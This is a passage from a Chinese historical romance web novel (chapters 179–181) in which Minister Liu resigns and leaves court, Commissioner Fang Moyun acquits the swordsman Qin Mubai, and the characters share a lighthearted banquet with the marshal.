白夫人迅速拿起棉被给茉云严严实实的盖着，茉云却在睡梦中不自觉地将被子打散，许是觉得周身炽热难耐。白夫人见状迅速握住被角，将被子牢牢包裹住她，可是茉云似乎不甚安稳，双手依然在挣动，不自觉地推开了被子，白夫人盖住左手，她又伸出了右手。
此时正啸坐到了床边，伸手一把将裹着棉被的茉云抱入怀中，手臂紧紧环住她周身，让茉云再也无法挣脱开，她迷糊间好像寻到了个温暖而稳妥的依靠，深深的睡去。
白夫人略微吃惊的看了白神医一眼，白神医嘴角扬起一丝温和微笑，白夫人白了一眼白神医也没有再说什么，两人轻轻走出了房间。
正啸低头看着她，目光中满是复杂的情感，他伸出手掌轻探她的额头，感受到她的温度渐渐平稳，心中才稍稍松了一口气。
此刻好似只剩下自己与她的呼吸交织在这片寂静的夜色中。
茉云的体温渐渐降了下来，汗如雨下，湿透了衣衫，气息也渐渐平稳，脸色也随之好转，沉沉地睡
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了过去。
良久之后，正啸将睡沉了的茉云放回到床上，走出去请白夫人为她换身衣裳，然后静静地离开了俞家，此时茉云的二哥穆棱静静站在自己房间窗边，目送他离开，看着正啸的背影微微笑了……
夜已深，寂静的院里只剩下微微的风声，正啸从俞府走出，轻轻掩上院落的后门，转身抬目望去，看见自己马旁边停着若辰的马车，车的帘布被夜风轻轻吹动，好似与周围的夜色融为一体，只有马车上悬挂的这盏素雅的灯笼，透出了微微光芒，亦能让人在寒夜中感受到一丝温暖。
“你为何在此？”
“茉云怎么样？”若辰拨开车帘急切的问道，虽然他知道若茉云有事，正啸不会离开。
“应该无大碍！”
若辰轻轻松了一口气，眼中浮现出一丝温和的笑意，他微微抬手，将车帘掀起一角说道：“夜风寒凉，坐马车回去吧！”
正啸跨步上了马车，马车缓缓启动，辘辘的车轮声伴随着夜色中的微风，向着别苑的方向行去。
夜是如此寂静，正啸疲惫的靠到马车上，他忽然觉得若时间停止在刚刚也好，那一刻，没有纷争亦没有责任，静静地，她就在身边。
“你还好吧？”若辰深吸一口气关切的望向正啸，知道正啸定是疲惫至极，他自小习武，从来都是挺得笔直的身板。
正啸随意的摇摇头示意自己无碍。
“我知道华夫人的事，让你和柳大人、元帅都伤痛至深……节哀！”若辰轻轻地说道，他忽然才意识到，世人皆说自己是享誉京城的才子，但是此时却如此词穷。
“对于三姨也是个解脱吧！”正啸看向车窗外，目光如夜空般深沉。
“嗯，谁曾想到三姨会癫狂至此，你我幼时，她的风采与才华在京城中无人能及，是大家闺秀争相效仿之人，多少达官显贵子弟为之倾倒……”
正啸目光越发幽深，回忆起那些往事，神情浮现出一抹怅然：“终究是这门第执念和连年战争，毁了她！”
若辰眉宇间掠过一丝悲哀，他低声应道：“是啊，三姨一生为家族荣光所累，又生在乱世之中，命运像是一叶漂浮在乱流中的小舟，无法掌舵，只能随波逐流，奈何夫与子这一走，这一叶扁舟也没了……”
正啸长叹一口气靠着马车闭上了双眼，岂止是他的三姨，自幼自己在军中长大，军中将士早已看破了生死离别，可每次见到牺牲将士的军属，见到他们那一瞬间的崩溃，很少有人能不为之动容。因为本应属于他们人世温暖，却因一个噩耗一生尽毁。
他想起了自己奶奶老太君孤立强撑的背影，想起了父亲闻见他娘为国捐躯之时的崩溃，想起了卢家军中的军属黄将军夫人他们……最后脑海中忽然浮现出茉云的身影，她那坚毅而神采奕奕的眼神……
正啸强行打断了自己思绪，他低低地叹了口气，目光却不自觉地流露出一抹温柔，可心中那份隐忍的疼痛越发清晰。
他绝不愿意看见她走上三姨的老路——那条满是孤独和悲怆的路，那条被世俗和权力掠夺了所有自由的路。
他更是万分不愿看到她因为赤诚和牺牲，成为历史长河中的又一个悲剧。
他只想她远离那深渊般的绝望，拥有她本该拥有的安宁和自由。
179.释然
翌日晨曦格外清朗，冬日的暖阳透过薄薄的云雾洒下柔和的光芒，为大地披上了一层温暖。
阳光穿过窗棂，轻轻洒在茉云的床榻上，茉云缓缓睁开双眼，感到浑身的沉重稍减，伤口疼痛也不再剧烈，她轻轻坐起，望向窗外那片明媚的冬日，心中泛起一丝久违的畅快与释然，仿佛这一缕冬日的阳光驱散了连日来的疲惫与躁动。
她不自觉的看看周遭，是自己错觉还是如何，怎得觉得四周都弥漫着熟悉的气息……
与此同时，柳大人已经在跪在行宫向皇上请罪。原本倨傲威严的面庞上带着一抹沉重的愧疚，微微低垂的眼神中透出了绝望。
皇上晨起便出来见他了，柳大人沉痛的地向皇上叩首：“臣行事失当，自知德行有亏，愧对朝廷，愧对皇上，今日特来请辞尚书之职，臣有罪，罪该万死，求皇上治罪。”
皇上端坐到雕龙沉香木椅上，目光微凝的望向心若枯灰的柳大人，沉默片刻后微微叹息一声，神情中带着不容置疑的威严，却又透出一丝对待近臣的宽厚。
“你确有错！但也罪不至死，昨日朕亲自审问了方茉云，她也坦言自己行事，特别是办案之时，多有夸大之处，并非全然属实，她之所以如此，终究也是为了啸儿，觉得你把持太甚。”
圣上话语平缓，把持二字——却一语道破了事情的根源。其中的暗意，柳大人自然能听明白，他不只是控制啸儿太过，自从朝堂之中太师的力量被正啸，若辰还有茉云他们一再挫败，自己却步步为营的蚕食，其实早已开始触及圣上逆鳞。
皇上的目光中透出一丝洞察，继续道：“方茉云此人虽张狂无礼，但终究是对朝廷和啸儿都是一片赤诚，朝廷正是用人之时，朕便饶恕了她。”
“皇上圣明！”
“此事朕已有查明，但终究，正啸领兵大战在即，朕也不欲见他身边多有隔阂。你看这地上破砖，便是啸儿昨日为尔等求情之时，自己磕破的！”
柳大人闻言看向破砖眼神微微一震，脸上露出难过的神色，既有几分惊讶，又带着难掩的悔恨。他垂首沉默，心中对方茉云的怨念本早已渐渐消散。
皇上看着他语气稍缓，语重心长道：“你一生忠心耿耿，朕心中明了。但何不让啸儿试着走自己的路？若他能如你和元帅一般忠诚为国独当一面，才不负尔等多年来的教导与期许。”
柳大人顿时明白了皇上的深意，眼中含泪的叩首，声音低沉而沙哑：“皇上，臣愧对皇上，愧对朝廷……往日所行错之甚深，蒙皇上宽厚，可臣自知无颜面对您，请求皇上恩准，允臣辞去官职，退归故里，反思己过。”
皇上望着柳大人痛心疾首的模样，沉默片刻，眼中闪过一丝复杂的情感，终于微微颔首，语气平静而威严的说：“你回乡安养些时日也好。”
柳大人跪下行了大礼谢恩，皇上抬起了手允他退下，柳大人起身退到门前，忍不住回首又跪下眼眶微红的说：“皇上，臣虽离朝，心却永伴圣驾。日后，臣每日必会焚香祈福，愿圣上万寿无疆，朝堂永安。”
皇上心头微颤，眼中流露出一丝难以掩饰的动容，柳中良入朝多年，随朝堂经历了无数风雨波折，他此刻绝不是献媚讨好，而是无法割舍这段长久的君臣情谊。
柳大人躬身跪下行礼叩了三个重重的响头，才眼中含泪缓缓转身离去。
皇上目光深沉地望着柳大人渐行渐远的背影，他步伐早已不再如昔日般稳健。可那是自己昔日并肩走过无数风雨的友人，是他年轻时一同谈笑纵马、立下宏图的伙伴，也是忠心耿耿，曾陪伴自己为朝堂呕心沥血数十载的老臣。
皇上眼中掠过一抹不舍，心中升起一种难以言说的感慨与怀念。可渐渐眼神又恢复了那份帝王的决然，眼中浮现一抹冷静的深意……一切皆为了朝堂的稳固。
关太傅静静陪在一旁，不敢发出一丝声响，他深知今日圣上的处置，已是对往日恩情最大的眷顾，也是对柳大人最大的成全了。
书房之外，风微微拂动，带走了过往岁月中那份温情，留下的是亘古不变的起落。
行宫外，元帅站在微冷的晨风中，目光紧紧盯着大门的方向，眉宇间隐隐透出一丝担忧。过了许久，他终于看见柳大人从行宫大门缓缓走出，神情略显疲惫却安然无恙。
元帅眼中不由得浮现出喜悦的神色，抬步迎上前去，语气中带着掩不住的关切：“中良，圣上如何说？”
“圣上允我辞官，归故里！”
元帅轻轻松了口气拉着柳大人：“归故里好，中良，你操劳半生，终于可以安心休养些时日了。”
柳大人看向元帅那关切的眼神，心中不禁流过一阵暖意，自己沦落至此，谁还敢来行宫门口迎自己，只有他姐夫，可他依然沉声的轻轻说道：“姐夫，诸事已成定局，我若有事亦是自作自受，您不该在此等我……”
元帅坦荡的拍了拍柳大人的肩膀：“我既是你姐夫，咱又是老友一场，走，我得陪你喝几杯为你践行！”
此时皇上书房的里，侍卫来报，轻声汇报说元帅在行宫门口，并未请觐见，看见了柳大人出来，便与柳大人一同离去了。
“宫门外，还有何人？”皇上批阅着奏折随意的问道。
“门外只有元帅一人，大将军在……街角！”
“他在那鬼鬼祟祟所为何？”皇上猛然抬头望向侍卫没好气的问道，侍卫马上不敢说话了，这可如何作答？
“皇上，您是最体谅和理解大将军的！”关太傅在皇上身边宽慰的回道。
“他是怕朕处置了他舅？”皇上眼中顷刻间露出了一丝冷光，让在场之人皆不寒而栗。
“正啸就是知道皇上定会宽厚的对待柳大人才会站在街角，他是关心他舅，但是又不想伤了长辈的尊严，他幼时便是这般，嘴上桀骜不驯，心里是极为孝顺的！”关太傅温和的笑了，望向皇上语气不缓不慢的说。
皇上没好气的看回奏折，侍卫马上恭敬的退了出去，背后全是冷汗，而皇上思绪也忽然回到了年轻时在王府……
自己昔日还在王府，被迫陷于朝堂争位暗潮汹涌，有的时候夜深自己屏退左右，一人枯坐在书房，走出来发现正啸在自己院外月下练剑，自己问他为何还不去休息，他理直气壮的说自己睡不着练会儿功。
后来自己发现每次自己屏退侍卫，正啸就会来院里练功，实则想护卫自己……哪怕当日他还那么小，别说贼人，怕是连狗都打不跑！
“一晃啸儿都这么大了……”皇上轻吸一口气不禁动容的说道，“希望他此生能跟他爹一样，坦坦荡荡，俯仰无愧于天地！”
“定然是的！”关大人温和的笑了，这便是皇上对卢家最大的赞誉，朝中不论是谁，此时还敢来行宫门口接柳大人，那就是往刀口上撞，唯独卢元帅，他一生豪迈，只因他就是这般坦荡之人，皇上信他，他也担得起这份信任。
皇上又没好气的指着那块破砖骂道：“定然是什么，他哪儿像他爹，为了一个女子，跑朕这儿将砖都磕破了，怎的，朕不允，他便磕死在此？”
“皇上，您定是国事太繁忙，您可曾还记得，元帅是威武，但是在正啸他娘，柳将军面前，那也是极为有‘礼’！”关太傅浅浅的笑了说道
皇上瞬间想起他们年轻之时，元帅只要远远见到柳家大小姐便咧开了嘴笑的傻样，平日里一脸习武之人的莽气，见到心上人便是要多怂有多怂，想到此，圣上顷刻间粲然而笑，刚才低落的情绪顿时好了几分，在旁侍奉的众人都松了口气，幸好有关太傅在。
夜深人静，月光给天
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地都镀上了朦胧的银辉。正啸尚未歇息，灯火在书房中微微摇曳，他正仔细查看着军报。直到他听到轻微的脚步声，他抬起头，便看到他舅披着外袍站在门口，似有千言万语却迟迟未言。
正啸连忙起身迎上前，轻声道：“舅，更深露重，您怎么还未歇息？”
柳大人微微一笑，眼中满是慈爱与怅然，他拍了拍大将军的肩膀，目光中透出不舍：“明日我便启程归故里，怕今夜不来见你，往后便不知何时才能相见了。”
正啸怔了半刻，低声道：“舅，您何以走得如此急？”
柳大人温和的笑了，语气中带着坚定和释然：“舅卸下这一身沉重，终于可归乡去享几分清净。你不必挂念我，往后只需专注自己的事。”
正啸点了点头，他其实是了解他舅为何要速速离去，朝堂从不缺捧高踩低之人，此时若稍有差池，就难逃背后众人诋毁，说他心有不甘或是筹谋再起，定然引得圣上不满，遭至灾祸。
正啸深吸一口气，伸手欲迎柳大人进来坐下，柳大人却站在门口，没有动。
他望着正啸，眼神中没有半分责怪，只剩下深深的嘱托，语重心长道：“舅往日里总是絮絮叨叨，今日便只嘱咐你一句话，你如今身兼大任，往后舅也不在朝堂了，遇事你要多斟酌，所幸圣上是护着你的，但你要自己好自珍重，不负己心。”
这一刻，烛光映照在两人身上，这片深厚的亲情哪怕在幽暗的夜色之中，也为冬夜增添了一丝暖意。
“舅！三姨之事，你切莫……”
柳大人打断正啸的话说道：“你三姨一生凄凉，都是舅的过错，你切莫自责，与你无关。也与方茉云无关，最后你三姨能含笑离开，咱还要感谢她……万般皆是命，亦是舅自作自受！”
正啸深吸了一口气望向柳大人，柳大人抬头望向正啸身旁的千山和万莫，一时间千言万语亦不知道说什么。
“你……也算是给舅在赎罪了！”柳大人顿时哽咽拍着正啸的肩膀说道，自己当年若不是要像自己妹妹证明嫁入华家才是明智之选，不会暗中打压显家的兄弟，将他们置于遥远的险地，也可以说自己间接导致他们两兄弟战死沙场。
最后柳大人深深看了正啸一眼，含泪转身离去，此时执礼走了出来，跪在院中，向柳大人深深磕了三个响头，响得院中之人都能听见，哪怕柳大人以权势曾践踏过无数人，可待执礼却是有大恩的，可柳大人故意装作没有看见的样子，径直离开了正啸小院。
他的身影在夜色中渐行渐远，留下了一片沉默的不舍，却带走了半生求而不得的释然。
翌日的南华，天空一片湛蓝仿佛被水洗过般纯净明澈，云朵荡漾在苍穹显得分外轻盈，连日的好天气，让南华城内百姓纷纷走出屋舍，感受着冬日的暖阳。
正啸刚走出房门，便看见若辰清然的踱步而来，瞧见正啸身边眼眶红肿的执礼，他才缓缓收起了悦色。
若辰关切的望向正啸和执礼宽慰道：“聚散不由，世事难全，何不释然，一期一祈。”
“是！”执礼深吸一口气释然的轻轻笑着说，“关大人此来有何好事？”
“圣上下旨，免了茉云一切罪责，继续任本案钦差，将此案办完，还南华朗朗乾坤！”若辰淡然的笑了说道，“本官刚去颁旨，钦差大人从床上蹦了起来说，只说一句话，我方茉云，终于等到了今日。”
“某人信奉的是，万般皆是命，半点不释然，关大人倒可与她去谈谈释然之道！”
“你着实太看得起在下了……”若辰亦温润的笑了说道。
众人顷刻间忍俊不禁，正啸无奈的长长叹了口气，眼中闪过一丝温和，她就是这笑纳命运一切安排，日子风轻云淡照样过，但是有恩定报恩，有仇必报仇的性子……
180.纯粹
此时院外传来通报的声音，说关夫人到了，若辰眼中浮现出一丝意外之色，他都不知季岚会来此。
众人抬目望去，只见季岚缓缓走入别苑，神态端庄大方，眉目间带着温柔却不失尊贵的气度，身姿挺拔，举手投足间透露出一份从容。
她环视了一眼别苑，直到瞧见了自己夫君，才灿然一笑走近：“夫君，我接到了圣上旨意，便马上动身赶来南华，不敢耽误，都未曾修书告知于你。”
若辰温和的笑了，但是她此言一出，院中的人便也能揣度出这份圣意，季岚在京城亦是素有才名，乃京城中世家夫人中的翘楚，素为各家女眷所敬重。而今皇上遣她前来，便是对她的提点，莫行差就错，走前人走过的错路。
就在此时，元帅从内院缓缓走了出来，双目微微泛红，步履中却透着一丝昨夜未散的疲惫与酒意，好似还未从昨晚给柳大人的送行酒中清醒过来。
众人见元帅到来，纷纷行礼，季岚更是向元帅行了大礼。
“卢伯伯万安！”
元帅一眼便看见了她和若辰站在一起，男才女貌甚为般配的样子，嘴角才终于露出一抹欣慰的笑意，轻轻点头，“季岚，来了。”
季岚温婉的笑了，元帅满意的点点头，目光转向正啸就顷刻眉头微皱了起来：“你那沐白师弟之事，你也得上点心吧。总不能平白无故把那傻孩子给斩了吧。”
众人皆知元帅虽严厉，但心中一直关怀后辈，更何况是江湖中友人之子，而今见其陷入危境，他怎可见死不救。
正啸也深知沐白心性单纯，性情率真，无奈说道：“父帅，方茉云仍是钦差！”
“若是别人是钦差还好，还不只全因她是钦差，听见人想杀你，二话不说就办了，沐白，人连个蚂蚁都没踩死！”
众人顷刻间忍俊不禁，元帅这话里话外带着怒气的调侃，众人亦明了。
正啸无语的望向元帅回复道：“父帅，上次您也跟她讲过请！”
“对，当着老夫那些老友的面，全然不近人情，她还说我老了，震北没用，就你厉害，把你美的！”元帅想着便吹着胡子没好气的说道。
众人隐忍不住的乐了，正啸无语的的转头便走了。
季岚闻言，望向若辰不解的问道：“夫君，是何事让元帅也觉得如此难办啊？”
执礼将事情的始末告知了季岚，季岚轻轻一笑望向执礼说道：“那是不是此人不威胁到大将军的安全，就不会被治罪呢？”
“还请关夫人赐教！”
“秦家难道宁愿秦沐白入狱，甚至送命，亦不愿他娶林宥汐过门吗？”季岚清然一笑说道，“若秦沐白和林宥汐喜结连理，是不是这位秦师兄就能消停了呢？”
“我马上去办！”执礼被一语点醒了梦中人说道，“她是这个意思？”
“我可不敢猜测钦差大人的心思……”季岚轻轻地笑了，转身眉目含情的望向若辰，若辰看向季岚亦温润的笑了。
翌日的府衙内，茉云身着钦差官服大步走进府衙。她的神情冷峻的坐到案前，整个人散发出一种不可撼动的气势，府衙内的其他断案人员见到她，纷纷像是变了样，齐齐转身，低头行礼，神色间满是恭敬，连目光都小心翼翼，生怕不慎触怒了这位连皇上近臣刑部尚书都拉下马的狠人。
只有瑞林撑着头无语且忿然望向茉云，他也受到牵连，刚从大牢被放了出来，只因他半分不同意出卖茉云，就连刑部尚书柳大人，深夜找到他，胁迫他指认茉云卷宗为假证，都被他义正言辞的拒绝了。
茉云一脸凛然的望向瑞林说道：“瑞林师兄！”
瑞林亦一脸正色的马上凑近茉云，不知道她要吩咐什么！
“怼自己部里最大的官，爽不爽！”
瑞林顷刻被逗笑了，长叹一口气：“我迟早会被你害死！”
茉云亦嘴角露出一丝笑意，然后下令将人犯一个个的审，南华包家二爷等在南华作恶多年的人，不是被审得心如死灰，就是痛哭流涕不能自控，总而言之，别说漏网之鱼，漏网的小虾米都很难出现……
接下来的提审之人便是秦沐白，茉云端坐堂前目光冷厉而不带一丝柔和。她抬目扫了一下堂下，元帅和若辰等人居然都听审了，而林宥汐作为他未婚妻的身份也来了。
茉云微微挑眉心想道，这是来施压了？一晃眼的功夫就变成了未婚妻？以为这就能应付我了？
她的神情亦尤为肃穆，注视着堂下的秦沐白，沉默片刻，缓缓开口：“你可知自己所犯何罪？”
那武林中人低垂着头，片刻后，他深吸一口气：“回禀大人，我知罪。我确曾受人指使，意图行刺大将军。只因师姐被人劫持，命悬一线。我愧对武林侠义，更愧对师门清誉，做出了不仁不义之事。”
“现在才知道后悔，晚了！”茉云眼角透出狠戾的说道，抬手就要让人带他下去收监，堂上众人皆望了过来，眼神含着殷切的希望，希望她手下留情，可茉云压根没有看他们一眼。
“我知罪，但不后悔！”沐白跪在堂前坦率得有几分执拗的说。
“这孩子！”元帅顿时被他气得直吹胡子，想说几句给他求情的话，都不知道如何开口了！
茉云抬起惊堂木的手却停在了半空，望向沐白说道：“什么？”
“我说我认罪，接受一切惩处，但是我不后悔！”
“沐白！”林宥汐深吸一口气说道。
茉云愤然瞪向秦沐白质问道：“为了心上人就可以不择手段，意图谋害朝廷重臣大将军？”
“我自小就打不过卢正啸，今日亦不可能打过，我自己知道，但是我人一定要来，若是救不出宥汐，我就跟她一起死那儿也好！”
茉云顿时坐正了身姿，上下打量了一下跪在堂下七尺男儿，他那坦荡到底得意眼神，好似对自己的憨傻欣然接受，亦不需要不渴望得到一丝理解。
“你是秦盟主的儿子？”
“是！”
茉云顿时挑眉看向沐白不解的问道，“林宥汐不是跟你退婚了吗？没人告诉你吗？”
瑞林顷刻无语的看向茉云，这哪儿是审案钦差该问之事，这跟此案有什么关系？
“我知道！他们还告诉我，这不过是一段幼时婚约，时间长了就忘了，但是这十几年，我就是没有本事忘记，而且我也不想忘记！所以找不到我就一直找，等不到我可以一直等，反正我有一辈子！”
“秦沐白，你父亲的侠义之名享誉武林，你这辈子就为了个女子将自己耗死？”茉云感叹的望向沐白说道，瑞林顷刻差点没忍住笑。
“我爷爷曾说，一人一生一事挺好，父亲此生心中只有武林大义，而我心中便是此事，各人有各人的活法！”
茉云轻轻的抬手不经意的捂着自己的嘴唇，望向堂下这个面容俊朗，武功高强，却脑子缺根弦的痴人。错愕了半刻之后，她嘴角上扬的笑了。
“将此人无罪释放！”茉云面色恢复了严厉，抬手随意指着说道，“带下一个案犯！”
瑞林缓缓转头望向茉云，她本来是判了他五年监牢的，字都已经写在了断案文书上了，茉云抬手拿起笔就画了，改成了无罪释放！
茉云一脸理所当然的指着看向瑞林说道：“人未婚妻被挟持了，来看看也属于人之常情！他又没有对大将军动手！”
“钦差大人，说的是！”瑞林没好气的瞪着茉云，刚才上堂之前，自己说得口干舌燥，让茉云给秦沐白减刑，她都不肯，现在却将他无罪释放。
元帅不由得一怔，微微睁大了眼睛，眼神中流露出一丝吃惊。他望向若辰，一脸没有搞清楚状况的神情，若辰则温和一笑，眼神好似在答复元帅，谁又能明白，茉云是怎么想的……
傍晚元帅和若辰回到了别苑，一看元帅眼神中的带着一丝欣慰，就知道他心头这些日子的悬念终于都安稳落地了。
正啸将威行将军刚送来的南关军报恭敬的拿给元帅，元帅大手一挥说道：“你看着办就行！威行啊，你来得正好，晚上陪老夫喝几杯！”
“是，元帅！”威行开心的行礼道，压根都不知道这些日子城里的暴风骤雨。
晚膳之时，若辰等人正好与正啸一起走入饭堂，他忍不住望向正啸问道：“你怎知茉云定会放过秦沐白！”
正啸一步迈过门槛淡然的说道“那丫头，脑子里有九九八十一道弯绕，可素来欣赏一根肠子通到底的纯粹之人，决计不会杀了沐白那傻小子！”
执礼亦恍然大悟的笑了说：“少主说得是，茉云素来跟万莫和沧海将军交情最深，关系最好！”
季岚站在若辰身后轻轻笑了问道：“夫君，茉云难道不是跟大将军交情最深，关系最好吗？”
若辰顷刻就被逗笑了望向正啸：“交情不好说，关系……”
“关系他两应该是最差的！”执礼顷刻接过话来笑着说。
顿时众人都乐了，正啸懒得搭理他们径直走了进去。
元帅则心情舒畅了的走进了饭堂，旁边跟着东山和威行，众人马上行礼，元帅开心的让大家坐。
威行则不明状况的看着执礼说道：“怎不叫茉云来陪元帅喝酒？”
“说得是！”元帅看向执礼说道。
执礼愣了半刻无语的望向元帅，然后看向
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万莫，千山撞了一下万莫，万莫一脸没搞清楚状况的望向他。
可此时屋外突然就传来了茉云的清脆的声音：“师兄，元帅就在里面！”
话音刚落，门被推开了，茉云带着景城和瑞林走了进来，景城和瑞林进来马上向元帅行了大礼。
元帅顷刻间喜笑颜开的说道：“快起来，景城怎么来了南华？”
“奉旨来的，刚去了行宫，关太傅说皇上累了，明日再去觐见！”
元帅深吸一口气，众人大抵也知道，刑部尚书赫然倒台，景城这个被柳大人一手栽培的继任刑部侍郎人选之人，此时被一道圣旨招来该是如何忐忑……
可景城恭敬地上前说道：“听茉云和瑞林说，元帅和正啸皆在南华，他们特意带景城来拜访一下元帅！”
元帅爽朗的笑了，伸手用力拍拍景城的肩膀，一脸的欣慰，“好！来得正好！”
瑞林和茉云也跟着一脸傻笑恭敬行礼，瑞林将景城特意去城里最出名的酒家买的桂花酿放在桌上，顿时酒香四溢。
威行笑了轻轻手臂撞了瑞林一下说道：“几日不见，这般懂礼节了！”
“话说大师兄来了，茉云问我，大师兄来，咱是否要请他吃个饭，我说那是自然，她二话不说便上前说，大师兄，师傅素来敬重元帅，现在元帅就在城中，你是不是代师傅去拜访一下！”瑞林想着乐了说道，“然后路上她又跟大师兄说，元帅如此英伟，吾等晚辈岂可空手去，然后让大师兄去买了这酒！”
“对，元帅，我给你把酒倒上！大师兄孝敬您的！”茉云顿时开心的憨笑道，“您闻闻，可香了，一看就是好酒！”
众人哄堂大笑，不干正事的时候，方茉云便是一点正经没有，谁都知道定然是她觊觎这美酒多时！
元帅显然心情大好，他和景城碰杯之时，宽慰的说道：“景城，此时切莫忐忑，但求心安！”
“是，您说的是，我来时，师傅也是这么交代的！”
“老卓可还好！”元帅望向景城关切的说道。
景城略微停顿了一下，要知道卓神捕和柳大人是几十年的上下属关系，两人即是同僚上下级，又如兄弟挚友：“柳大人，师傅还是有些痛心的！”
元帅深吸一口气咬紧牙关，伸手拉着景城的手臂，微微握紧点点头，这几个老伙计之间的感情他感同身受！
“柳大人咋了？”威行不明就里的望向身边的茉云问道，东山和执礼都愣了一下望向威行，后悔没将此事早点告诉他。
茉云喝了一口酒，还在回味着余韵的说道：“我在圣上面前，将柳大人告了，他辞官归故里了！”
威行顿时愣在原地看向茉云：“你疯了你，那是将军的舅舅！”
“太子犯法与庶民同罪！舅舅犯法就没罪啊！”
“他……柳大人犯罪了？”
“当然！我方茉云断案素来公正严明，何曾污蔑过人？”
威行想了想回忆着说道：“昔日，你在京城，做假证抓了将军的叔叔，说他贪张枉法，然后还污蔑将军婶婶的亲哥，马老将军贪墨军资卖给强盗，将他压入大牢，你还曾去宋大人那里告将军，说他贪财好色，涉嫌权钱、权色交易，按我朝例法为官□□当被杖责罢黜！”
众人顷刻间哄堂大笑，茉云亦想着捂着额头，笑得不行。
元帅笑得前俯后仰后，深吸一口气说道：“柳大人之事……茉云做得没错，该过去的就让他过去，让中良能辞官归故里，过几年不操心的日子，亦是好的！”
景城亦深吸一口气点点头，望向茉云说道：“可我听人说，你今日放过了一意图谋杀正啸的杀手！”
“对，你咋又放了那小子，你不是说要什么山崩地裂的理由吗？”元帅也慈笑着望向茉云。
“元帅！”茉云端起了酒杯边敬元帅说道，“我幼时爹殉职，我家得罪了个水匪，人家就毁了我的婚约，可林师姐爹被皇上赐死，得罪的可都是大官，人家居然不离不弃，要死要活不肯悔婚。”
元帅和茉云酒杯相碰，众人都看向茉云那感叹的神情。
“林师姐与我皆是习武女子，她的未婚夫怎就如此优秀，这岂止山崩地裂，简直是天塌地陷的震撼了我！这等好人，我死他都不能死，必须有情人终成眷属！”
众人顿时哄堂大笑，这便是方茉云那让人摸不着风的逻辑。
元帅端着酒杯望向茉云，眼中闪烁着欣赏的光芒，乘着醉意说：“茉云啊，如此说来，你可是想要嫁人了？”
话音刚落，气氛顿时活跃起来，众人纷纷投来了目光，若辰和执礼却不由自主地转头望向了正啸……
181.摧毁
正啸扫视了一眼若辰投来的目光，波澜不惊的脸上眼透过一丝冷峻。但那一瞪，却似一道无形的威压，令两人都马上收回了目光，可是两人却掩盖不了嘴角的笑意。
“命运不济，不指望什么父母之命，媒妁之言，像我这种困难户，得想点什么别的招！”茉云躲过了元帅的眼神，嬉笑着说道。
“对，元帅，她下药！”威行笑着指着茉云说道。
“可不就是时运还不济！”茉云接过话笑着说道：“下药还下错了顺序！”
众人顿时哄堂大笑，现在已经是人都知道，茉云第一次见到正啸就对他下了药，还下错了药，正啸亦无语的看了茉云一眼，茉云亦正好看向正啸，四目相触。
茉云忽然伸长了脖子指着正啸额头问：“你额头为何有伤？”
此时元帅看向正啸，才看清正啸额上的伤，他轻轻叹息了一口气，一眼看出便是磕伤的……
“他还不是……”若辰笑着说，可是迅速就被正啸瞪了一眼，打断了他的话。
“喝醉了？磕大门上了？”茉云乐了问道。
“你打算喝多少酒？”正啸却皱眉望向茉云说道。
茉云瞬间护住了自己的酒杯，警觉地看向正啸。
“诶，喝几杯酒嘛！”元帅大手一挥看着茉云笑道，“有老夫在，他管不着你！”
茉云顿时喜笑颜开的点点头，正啸也没有再说什么，看见茉云神气活现的样子，应该伤势也好多了，这些日子的以来，纷争和诡诈纠缠，此时她能开心畅饮几杯也好。
景城却依旧望向茉云说：“终究放了那秦沐白亦是不妥的！大战在即，不处置一个有可能威胁到正啸安全之人，圣上若知道了……”
“大师兄……”瑞林想劝他，可是看见景城的眼神，他亦无奈的不说话了。
“大师兄说得好，您去跟皇上说，皇上一定也会支持您的意见，让您将他速速逮捕，那家伙虽自视甚高，但是武功确实不是吹得，此时南华城中，他还以为只有我和卢正啸能打得赢他，大师兄到你大显神威的时候了！”茉云边倒着酒边笑着说道。
景城瞪向茉云，众人不禁忍俊不禁，瑞林伏低头憋着笑，茉云就是嘲讽大师兄根本抓不住此人却在此叽叽歪歪。
“方茉云，这世上还有人比你自视甚高！”景城没好气的回敬道，“我看你能这般张狂胡闹到几时？”
“大师兄，你恰恰说反了，我就胜在心气低！”茉云笑笑放下酒壶说道，“因为有些志向高远的人日子过得不好，他们觉得自己出生微末，即害怕被人看穿自己心比天高，又渴望别人了解自己的鸿鹄之志！”
众人顷刻安静了下来，谁又听不出茉云中的挖苦之意。
“我怎么可能自视甚高？我压根不自视！那时在京城，师傅和师娘请我下馆子，师傅训斥我，说京城这么多大家闺秀，我见之是否自惭形秽，我说您见过哪个横着走的混混自卑过！”茉云想着乐了望向季岚说道，“我还记得当日胡大小姐，你正从我们面前过，我痴痴的就看了过去……”
季岚愣了半刻抬目望向茉云，在京城之中自己都未有印象见过茉云。
“师傅问我自己知道差距了吧？我说师傅，我有一副关若辰的字，你觉得这姑娘能出多少价！师娘一筷子就打过来说，这姑娘非凡胎，怕就你那点心气，人要字干嘛？她是要人，你能把人绑来再说！看，我师娘看问题还是透彻哈！”
“扑哧”众人哄堂大笑，执礼轻轻笑了，茉云便是这般，锋芒毕露，但又轻易的化解了尴尬。
“话说，季岚，当年我是跑路了，若这买卖真的谈，关若辰您能出多少价？”
“我夫君是无价之宝！”季岚笑了望向茉云说道，若辰望向她眼神中居然闪过一丝无语的不好意思。
茉云愣了半刻望向季岚，众人却起哄了，威行带头起哄得声音最大，元帅被他们在这一闹，也是捧腹大笑。灯火阑珊下，众人好像被这笑声慢慢的在拭去心中的伤痕。
元帅看向孩子们围坐畅饮。笑语盈盈，心中自是喜乐，看见若辰和季岚男才女貌，夫妻琴瑟和鸣，心中亦是欣慰，只是瞧见自己儿子正啸，半生坎坷蹉跎，可至今孤身一人，他心中也不禁心叹息……
酒过三巡，夜色渐深，时光在愉悦中悄然流逝。
酒局散之时，众人起身向元帅行礼，临走之际，元帅起身定要送他们到门口。
他温和拍着景城的肩膀说：“今宵聚会，虽是欢愉，但老夫也知道景城你啊……朝堂之事难免繁杂，心存挂虑。但是你记着老夫一句话，得而不得，但求心安理得，皇上圣明，朝廷也自有公论。”
景城听后只觉心中一阵温暖，忧虑似乎也在元帅的这番言辞中得以释怀半分。
“是的，大师兄，明日若圣上召见，您就当帮我，多陪皇上聊聊！”茉云抬头望向景城说道。
“为何？”
“我明日要将这南华城，大街之上座座牌坊都砸了！”茉云轻描淡写的说道。
众人面面相觑，然后看向她那如同星辰的双眸，闪烁着不屈的光芒，在暗夜里都穿透出一股激昂的力量。
